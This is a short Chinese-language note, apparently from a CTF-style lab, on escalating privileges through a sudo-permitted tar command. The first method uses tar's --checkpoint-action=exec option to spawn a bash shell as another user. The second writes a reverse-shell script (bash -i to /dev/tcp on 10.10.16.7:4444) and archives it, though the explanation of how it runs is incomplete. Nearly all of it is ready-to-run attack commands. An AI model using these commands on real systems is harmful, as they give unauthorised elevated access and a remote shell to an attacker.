当某台机器给予tar sudo更高权限的时候可以尝试使用以下方式来提权
方法一
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
借用tar检查点功能实现提权
-c 建立一个新的压缩文档
-f 指定压缩文档
--checkpoint=n 每写入n项记录进行一次检查点操作
--checkpoint-action每次到检查点时执行的操作,语法格式符合shell脚本
像上面我举出的例子意思就是每到一个检查点就放出一个onuma权限的窗口
同样写入其他的命令比如说
--checkpoint-action=exec=“echo 123”
--checkpoint-action=echo=123
--checkpoint-action=exec=“Hit %s checkpoint#%U”
方法二
把命令写入一个sh文件中,然后打包,让他显示操作过程
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.7/4444 0>&1' > bmfx.sh
tar -cvf bmfx.tar bmfx.sh